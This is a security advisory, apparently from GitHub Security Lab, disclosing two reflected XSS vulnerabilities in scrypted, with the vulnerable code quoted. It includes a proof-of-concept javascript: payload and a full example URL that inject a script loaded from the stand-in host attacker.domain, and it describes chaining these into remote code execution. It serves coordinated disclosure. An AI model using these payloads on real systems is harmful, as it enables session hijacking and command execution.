skip to content
Back to
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
December 13, 2023

GHSL-2023-218_GHSL-2023-219: Cross-Site Scripting (XSS) in scrypted

Kevin Stubbings

Coordinated Disclosure Timeline


Two refelcted Cross-Site Scripting (XSS) vulnerabilities exist in scrypted that may allow an attacker to impersonate any user who clicks on specially crafted links. In the worst case, an attacker may be able to impersonate an administrator and run arbitrary commands.



Tested Version



Issue 1: reflected XSS in plugin-http.ts (GHSL-2023-218)

The owner and pkg parameters are reflected back in the response when the endpoint is not found, allowing for a reflected XSS vulnerability.

const { owner, pkg } = req.params;
        let endpoint = pkg;
        if (owner)
            endpoint = `@${owner}/${endpoint}`;
        const pluginData = await this.getEndpointPluginData(req, endpoint, isUpgrade, isEngineIOEndpoint);

        if (!pluginData) {
            end(404, `Not Found (plugin or device "${endpoint}" not found)`);


This issue may lead to Remote Code Execution.


Proof of Concept:

The following url will create a script tag in the current document which will load attacker.domain/rce.js. This JavaScript file can then be used to communicate with the server over HTTP via RPC, and send some requests to get the nativeId and proxyID for the automation:update-plugins and achieve the ability to run shell commands at a specified time.


In the browser, you should see the script element be created with the src as https://attacker.domain/rce.js.

Issue 2: reflected XSS in plugins/core/ui/src/Login.vue (GHSL-2023-219)

A reflected XSS vulnerability exists in the login page via the redirect_uri parameter. By specifying a url with the javascript scheme (javascript:), an attacker can run arbitrary JavaScript code after the login.

  try {
          const redirect_uri = new URL(window.location).searchParams.get('redirect_uri');
          if (redirect_uri) {
            window.location = redirect_uri;



This issue may lead to Remote Code Execution.


Proof of Concept:

When the user is not logged in, send a link to the server with the parameter:

redirect_uri=javascript:var script = document.createElement('script');script.src = 'https://attacker.domain'; document.head.appendChild(script);

at the end of the uri (but before the #).

Example: https://localhost:10443/endpoint/test/test?redirect_uri=javascript:var%20script%20=%20document.createElement('script');script.src%20=%20'https://attacker.domain';%20document.head.appendChild(script);#//

Similar to Proof of Concept 1 this will load a JavaScript file which can make authenticated requests to the server, possibly leading to RCE.


These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings). This vulnerability was found with the help of CodeQL Reflected XSS query.


You can contact the GHSL team at, please include a reference to GHSL-2023-218 or GHSL-2023-219 in any communication regarding these issues.